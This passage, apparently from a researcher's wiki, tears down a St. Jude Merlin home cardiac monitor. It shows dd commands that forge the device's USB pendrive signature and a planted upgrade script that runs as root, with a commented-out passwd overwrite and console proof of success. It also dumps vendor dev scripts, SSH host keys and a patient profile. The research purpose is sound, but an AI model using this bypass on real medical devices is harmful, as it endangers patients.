# Find and mount all attached USB storage devices&lt;br /&gt;
function mount_all_attached {&lt;br /&gt;
    local scsiuniqid=&amp;quot;&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Find and mount all attached usb storage devices&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    for scsiuniqid in $(allusb_scsiuniqid)&lt;br /&gt;
    do&lt;br /&gt;
        local scsidev=&amp;quot;`diskdev_from_uniqid $scsiuniqid`&amp;quot;&lt;br /&gt;
        if [ &amp;quot;$scsidev&amp;quot; == &amp;quot;UNKNOWN&amp;quot; ]; then&lt;br /&gt;
            sleep 1&lt;br /&gt;
        fi&lt;br /&gt;
        mount_scsi_dev $scsidev&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The remover script will be invoked when the device is removed. This is&lt;br /&gt;
# useless in a way because umount will have no effect. The only benefit is&lt;br /&gt;
# that the &amp;quot;mount&amp;quot; command will not show stale entries.&lt;br /&gt;
&lt;br /&gt;
# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive &lt;br /&gt;
# which is removed ( unlike umounting all attached USB flash drives )&lt;br /&gt;
feedback &amp;quot;REM = $REMOVER&amp;quot;&lt;br /&gt;
if [ -f $REMOVER ]; then&lt;br /&gt;
    echo &#039;/bin/umount /mnt/sjmpendrives/*&#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
else&lt;br /&gt;
    echo -e &#039;#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*&#039; &amp;gt; $REMOVER&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# Inform the Export data script when pendrive is unplugged.&lt;br /&gt;
echo -e &#039;\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo &amp;quot;Hotplug umount&amp;quot; &amp;gt; /tmp/usbDataExport.pipe \n\tfi\nfi&#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
chmod a+x $REMOVER&lt;br /&gt;
&lt;br /&gt;
mount_all_attached&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets look inside of /etc/launch_appln.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./launch_appln.sh /mnt/pendrive&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# FIXME  &lt;br /&gt;
# This script may be invoked by hotplug &lt;br /&gt;
# Do not run the script if it is already running &lt;br /&gt;
# updater or data export&lt;br /&gt;
&lt;br /&gt;
mountpt=$1&lt;br /&gt;
script_path=/apps/tanto/&lt;br /&gt;
&lt;br /&gt;
if [ -f $mountpt/version.ini ]; then&lt;br /&gt;
	# call updater script&lt;br /&gt;
	echo &amp;quot;Launching updater script&amp;quot;&lt;br /&gt;
	if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then&lt;br /&gt;
		sh $mountpt/etc/init.d/upgrade_script.sh $mountpt &amp;gt; /tmp/debugUpdater.txt 2&amp;gt;&amp;amp;1&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
	else&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
		exit 0&lt;br /&gt;
	fi&lt;br /&gt;
else&lt;br /&gt;
	# Call Data export script&lt;br /&gt;
	echo &amp;quot;Launching export data script&amp;quot;&lt;br /&gt;
	sh $script_path/export_data.sh $mountpt&lt;br /&gt;
    umount /mnt/sjmpendrives/1&lt;br /&gt;
    umount /mnt/pendrive&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It looks like their pendrive &amp;quot;signature&amp;quot; is fairly easy to get around.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00116472 s, 2.6 kB/s&lt;br /&gt;
rjmendez@Rjmendez:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  00 00 00                                          |...|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Rjmendez:~/stjude_merlin$ hd .sign_mod&lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Rjmendez:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00700994 s, 0.4 kB/s&lt;br /&gt;
rjmendez@Rjmendez:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00123249 s, 2.4 kB/s&lt;br /&gt;
rjmendez@Rjmendez:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Adding the required files to the drive and a small script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:/media/rjmendez/7A3B-B3C6$ ls -lahR&lt;br /&gt;
.:&lt;br /&gt;
total 36K&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 14 11:04 .&lt;br /&gt;
drwxr-x---+ 8 root     root     4.0K May 14 11:02 ..&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 13 14:02 etc&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez  620 May 14 06:01 passwd&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez    4 May 10 17:07 version.ini&lt;br /&gt;
&lt;br /&gt;
./etc:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d&lt;br /&gt;
&lt;br /&gt;
./etc/init.d:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..&lt;br /&gt;
-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh&lt;br /&gt;
&lt;br /&gt;
rjmendez@Rjmendez:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
function led_off {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b0&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_dim {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b1&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_bright {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b2&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function party_mode {&lt;br /&gt;
    counter=0&lt;br /&gt;
    while [ $counter -lt $1 ];&lt;br /&gt;
    do&lt;br /&gt;
        led_off&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_dim&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_bright&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        let counter=counter+1&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/tantoapp stop&lt;br /&gt;
#cp /mnt/sjmpendrives/1/passwd /etc/passwd&lt;br /&gt;
echo &amp;quot;This worked!&amp;quot; &amp;gt; /root/diditwork.txt&lt;br /&gt;
if [ -f /root/diditwork.txt ];&lt;br /&gt;
then&lt;br /&gt;
    party_mode 15&lt;br /&gt;
else&lt;br /&gt;
    echo &amp;quot;It did not work...&amp;quot;&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is the output that we get from the console.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[265]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2&lt;br /&gt;
scsi0 : SCSI emulation for USB Mass Storage devices&lt;br /&gt;
  Vendor: Lexar     Model: USB Flash Drive   Rev: 1100&lt;br /&gt;
  Type:   Direct-Access                      ANSI SCSI revision: 02&lt;br /&gt;
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0&lt;br /&gt;
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)&lt;br /&gt;
sda: Write Protect is off&lt;br /&gt;
Partition check:&lt;br /&gt;
 /dev/scsi/host0/bus0/target0/lun0: p1&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg1&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg2&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg3&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg4&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sg5&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdb&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdc&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdd&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sde&lt;br /&gt;
modprobe: Can&#039;t locate module /dev/sdf&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_cp437&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
modprobe: modprobe: Can&#039;t locate module nls_iso8859-1&lt;br /&gt;
ls /root&lt;br /&gt;
devel_install.sh  diditwork.txt     setdev.sh         setlog.sh&lt;br /&gt;
root@(none):~# cat /root/diditwork.txt &lt;br /&gt;
This worked!&lt;br /&gt;
root@(none):~# cat /tmp/usbstorage.log &lt;br /&gt;
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002&lt;br /&gt;
REM = /var/run/usb/%proc%bus%usb%001%002&lt;br /&gt;
Find and mount all attached usb storage devices&lt;br /&gt;
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)&lt;br /&gt;
Use sgmap to match 0:0:0:0.&lt;br /&gt;
Waiting for device id to appear...&lt;br /&gt;
SCSI disk for 0:0:0:0 is /dev/sda&lt;br /&gt;
Checking /mnt/sjmpendrives/1&lt;br /&gt;
Mountpoint /mnt/sjmpendrives/1 is free&lt;br /&gt;
Checking signature ... &lt;br /&gt;
node1 = /dev/sda1&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Valid pendrive&lt;br /&gt;
Mounting /dev/sda1 on /mnt/sjmpendrives/1&lt;br /&gt;
/dev/sda1 is now mounted on /mnt/sjmpendrives/1&lt;br /&gt;
Launch application specific script&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Party Mode Demo ==&lt;br /&gt;
{{#ev:youtube|cNcGebu8NRs}}&lt;br /&gt;
&lt;br /&gt;
== Other Stuff to Look Into ==&lt;br /&gt;
&lt;br /&gt;
I doubt this device has been updated to the latest firmware as I aquired it still wrapped in its packaging. As of January 2017 St. Jude Medical claims that a security patch has been applied to the newer firmware releases.&lt;br /&gt;
&lt;br /&gt;
Below are some interesting things that were found.&lt;br /&gt;
&lt;br /&gt;
DSA keys and known hosts.&lt;br /&gt;
&amp;lt;pre&amp;gt;root@(none):~# cd /root/.ssh&lt;br /&gt;
root@(none):~/.ssh# ls -lah&lt;br /&gt;
drwx------    2 root     root           0 Jan 10  2013 .&lt;br /&gt;
drwxrwxr-x    3 root     root           0 May 15 00:10 ..&lt;br /&gt;
-rw-------    1 root     root         668 Nov 28  2012 id_dsa&lt;br /&gt;
-rw-r--r--    1 root     root         601 Nov 28  2012 id_dsa.pub&lt;br /&gt;
-rw-r--r--    1 root     root         719 Nov 28  2012 known_hosts&lt;br /&gt;
root@(none):~/.ssh# cat known_hosts &lt;br /&gt;
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtfdoYdn5D/vsC4Pm25jBUXDzfXrj6O50O32UONPOnvKcb08acULYcx1bDyeRGcMBqKwEJdPUKdwAT2evf4jYVSa4JvDAHQWJo15s2igWO04veEYitV5i0NEqVs+vRTJAqM70iCIKkhtoGkjBBnJcntw6u/8vgKXkvqBx85WBULc=&lt;br /&gt;
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA29HEmKtQ5RABmAWmZ3MdyO+wiQ1GGzuNneGnPPL8KF+SYLjHXaQViB32cibA9dSauMpb8zcwj7YSxtKfu4K1gcH5vUOsqW9BgDsZYv7zWk2OHb8vLs+NT083+YbzjZvr7oGz+1/TAzfXORsN9Gf+BQMsHyjiHOjVJ/vEIy2fp0E=&lt;br /&gt;
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyDjGfUubwy0y0KJw459g2L17DK4K4QAIZSvcW8hupVNK/3IrP9HSXetS69czyLISFfewq6a4ippvsbh5i+fb2C2vhHmW4N1U3zKa6vcKzUEd6j6NwUefunbSP8XBXaMoqSuN2l3nbfEeUIaVDuSk9m6uP/rVcGVQHZokPVDdpP8=&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dev scripts in /root/&lt;br /&gt;
&amp;lt;pre&amp;gt;root@(none):~# ls -lah /root&lt;br /&gt;
drwxrwxr-x    3 root     root           0 May 15 00:10 .&lt;br /&gt;
drwxr-xr-x   20 root     root           0 Jan  1  1970 ..&lt;br /&gt;
-rw-r--r--    1 root     root         446 Jan  1  1970 .bash_history&lt;br /&gt;
-rw-r--r--    1 root     root          52 Apr 24  2008 .bash_profile&lt;br /&gt;
drwx------    2 root     root           0 Jan 10  2013 .ssh&lt;br /&gt;
-r-xr-xr-x    1 root     root        3.0k Nov 28  2012 devel_install.sh&lt;br /&gt;
-r-xr-xr-x    1 root     root         483 Nov 28  2012 setdev.sh&lt;br /&gt;
-r-xr-xr-x    1 root     root         267 Nov 28  2012 setlog.sh&lt;br /&gt;
&lt;br /&gt;
root@(none):~# cat setdev.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./setdev.sh [1|0]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [ $1 -eq 1 ]; then&lt;br /&gt;
        sed &#039;1,$s/DEVELOPMENT \(.*= .*\)0/DEVELOPMENT \11/g&#039; /data/config/TantoParms.conf &amp;gt; /tmp/TantoParms.conf&lt;br /&gt;
        cp -f /tmp/TantoParms.conf /data/config/TantoParms.conf&lt;br /&gt;
elif [ $1 -eq 0 ]; then&lt;br /&gt;
        sed &#039;1,$s/DEVELOPMENT \(.*= .*\)1/DEVELOPMENT \10/g&#039; /data/config/TantoParms.conf &amp;gt; /tmp/TantoParms.conf&lt;br /&gt;
        cp -f /tmp/TantoParms.conf /data/config/TantoParms.conf&lt;br /&gt;
else&lt;br /&gt;
        echo &amp;quot;Invalid argument&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
root@(none):~# cat setlog.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./setlog.sh [1|0]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [ $1 -eq 1 ]; then&lt;br /&gt;
        touch /data/config/.tantolog&lt;br /&gt;
        touch /data/config/.dcllog&lt;br /&gt;
elif [ $1 -eq 0 ]; then&lt;br /&gt;
        rm /data/config/.tantolog&lt;br /&gt;
        rm /data/config/.dcllog&lt;br /&gt;
else&lt;br /&gt;
        echo &amp;quot;Invalid argument&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
root@(none):~# cat devel_install.sh&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#&lt;br /&gt;
# Script to download the devel package via scp from ftp.pacesetter.com&lt;br /&gt;
# Username: REDACTED_USER. The script will prompt for a password which the &lt;br /&gt;
# user has to enter. &lt;br /&gt;
# &lt;br /&gt;
# Version 0.1 - Ashok Iyer (aiyer at sjm dot com)&lt;br /&gt;
&lt;br /&gt;
# Setup the PATH. Don&#039;t assume we get a sane one&lt;br /&gt;
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin&lt;br /&gt;
&lt;br /&gt;
# IP address of the server from which we download the devel package using scp.&lt;br /&gt;
SERVER=&amp;quot;10.16.155.27&amp;quot;&lt;br /&gt;
&lt;br /&gt;
function download_package()&lt;br /&gt;
{&lt;br /&gt;
	# Download the devel package and the md5sum.txt file&lt;br /&gt;
	echo -e &amp;quot;\n==&amp;gt; Downloading $1 package using wget.\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	wget ftp://REDACTED_USER:REDACTED_PASSWORD@10.16.155.27/$2/$1&lt;br /&gt;
&lt;br /&gt;
	if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
		echo &amp;quot;scp failed...&amp;quot;&lt;br /&gt;
		exit 1&lt;br /&gt;
	fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/root/setdev.sh 1&lt;br /&gt;
/etc/init.d/tantoapp stop&lt;br /&gt;
&lt;br /&gt;
if [ ! -f /etc/password_key ]; then&lt;br /&gt;
    touch /etc/password_key&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;-----------------------------------------------------&amp;quot;&lt;br /&gt;
echo &amp;quot;This script will install the development package&amp;quot; &lt;br /&gt;
echo &amp;quot;This contains the following:&amp;quot;&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;   1. gdbserver&amp;quot;&lt;br /&gt;
echo &amp;quot;   2. ssh server&amp;quot;&lt;br /&gt;
echo &amp;quot;   3. procps (contains vmstat and top)&amp;quot;&lt;br /&gt;
echo &amp;quot;   4. dos2unix and unix2dos&amp;quot;&lt;br /&gt;
echo &amp;quot;   5. ftp client&amp;quot;&lt;br /&gt;
echo &amp;quot;   6. mtd utilities (for diagnostics)&amp;quot;&lt;br /&gt;
echo &amp;quot;   7. less utility&amp;quot;&lt;br /&gt;
echo &amp;quot;   8. traceroute&amp;quot;&lt;br /&gt;
echo &amp;quot;   9. agentd&amp;quot;&lt;br /&gt;
echo &amp;quot;  10. monitord&amp;quot;&lt;br /&gt;
echo &amp;quot;-----------------------------------------------------&amp;quot;&lt;br /&gt;
&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
# Test if the server is reachable&lt;br /&gt;
echo &lt;br /&gt;
echo &amp;quot;----  Testing server connectivity  ----&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
ping -c 3 -w 10 $SERVER&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
    echo &lt;br /&gt;
    echo &amp;quot;--- $SERVER not reachable. ---&amp;quot;&lt;br /&gt;
    echo &amp;quot; Will try connecting anyway (some firewalls block ping requests)&amp;quot;.&lt;br /&gt;
    echo &amp;quot; Contact your network administrator if the connection fails&amp;quot;&lt;br /&gt;
    sleep 2&lt;br /&gt;
else&lt;br /&gt;
    echo &lt;br /&gt;
    echo &amp;quot;---   Server reachable. Good!  ---&amp;quot;&lt;br /&gt;
    echo&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
TMPDIR=&amp;quot;$HOME/devel$$&amp;quot;&lt;br /&gt;
mkdir $TMPDIR&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
    echo &amp;quot;unable to create temporary directory. Check if you have write&amp;quot;&lt;br /&gt;
    echo &amp;quot;permissions in $HOME&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
cd $TMPDIR&lt;br /&gt;
# Download the development packages&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+----------------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Downloading development packages using wget. |&amp;quot;&lt;br /&gt;
echo &amp;quot;+----------------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
download_package &amp;quot;devel-util_1.4_all.ipk&amp;quot; &amp;quot;not-so-advanced/utils/devel_packages/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+---------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Installing the development utilities. |&amp;quot;&lt;br /&gt;
echo &amp;quot;+---------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
# The package is sane. Install it&lt;br /&gt;
ipkg-cl -d root install *.ipk&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$?&amp;quot; != 0 ]; then&lt;br /&gt;
    echo &amp;quot;Package installation failed&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Performing required config modifications. |&amp;quot;&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
sed &#039;1,$s/AUTOKEYGEN=no/AUTOKEYGEN=yes/g&#039; /etc/default/ssh &amp;gt; /tmp/ssh&lt;br /&gt;
cp -a /tmp/ssh /etc/default/ssh&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Starting SSH Daemon                     . |&amp;quot;&lt;br /&gt;
echo &amp;quot;+-------------------------------------------+&amp;quot;&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/ssh start&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
echo &amp;quot;Devel package successfully installed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
cd $HOME&lt;br /&gt;
&lt;br /&gt;
# delete TMPDIR&lt;br /&gt;
rm -rf $TMPDIR&lt;br /&gt;
&lt;br /&gt;
exit 0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sample patient profile&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;profile:ProfileList xmlns:profile=&amp;quot;http://www.merlin.net/PayloadProfile.xsd&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;SystemData&amp;gt;&lt;br /&gt;
  &amp;lt;SystemInformation DeviceModel=&amp;quot;XXXX-XX&amp;quot; DeviceSerialNumber=&amp;quot;XXXXXX&amp;quot; NumberOfProfiles=&amp;quot;7&amp;quot; PatientNotifyWindowEnd=&amp;quot;23:00:00&amp;quot; PatientNotifyWindowStart=&amp;quot;16:00:00&amp;quot; ProfileDate=&amp;quot;2011-09-07&amp;quot; ProfileVersion=&amp;quot;7&amp;quot; SchemaVersion=&amp;quot;A&amp;quot; TransmitterModelNumber=&amp;quot;EX1150&amp;quot; TransmitterProfileID=&amp;quot;100899&amp;quot; TransmitterRequestType=&amp;quot;PProfile&amp;quot; TransmitterSerialNumber=&amp;quot;00000000&amp;quot; UTCServerTime=&amp;quot;22:57:29&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ADETECT_DIALUP_NUM&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;UNPAIRED_MODE&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ENROLLMENT_CHANGE&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PROFILE_SYNC_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;ALLWD_UNSCHED_EVENTS&amp;quot; value=&amp;quot;100&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_ALERT&amp;quot; value=&amp;quot;24&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_FLP&amp;quot; value=&amp;quot;96&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_MED&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;NOTIFY_DELAY_SERVER&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;CLINIC_TYPE&amp;quot; value=&amp;quot;UNKNOWN&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SHORT_BTN_ACTION&amp;quot; value=&amp;quot;FLP&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;LONG_BTN_ACTION&amp;quot; value=&amp;quot;DCHK&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;MERLIN_ID&amp;quot; value=&amp;quot;512556937&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;UPDATED_DEVICE_MODEL&amp;quot; value=&amp;quot;1111-11&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;UPDATED_DEVICE_SERIAL&amp;quot; value=&amp;quot;999999&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SCHED_REF_TIME&amp;quot; value=&amp;quot;2001-01-01_00-00-00&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;VOL_CTRL_PREF&amp;quot; value=&amp;quot;OFF&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/SystemData&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Follow-up&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_DateOfEvent=&amp;quot;2011-09-08&amp;quot; GS_TimeOfEvent=&amp;quot;09:00:00&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;GDC2_SCHED_FLP_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;UNSCHED_FLP_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_FLP_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_EPIS_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_ST_FLAG&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_DIAG_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_SEGM_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Device_Check&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_Interval=&amp;quot;24&amp;quot; GS_TimeOfEvent=&amp;quot;09:00:00&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
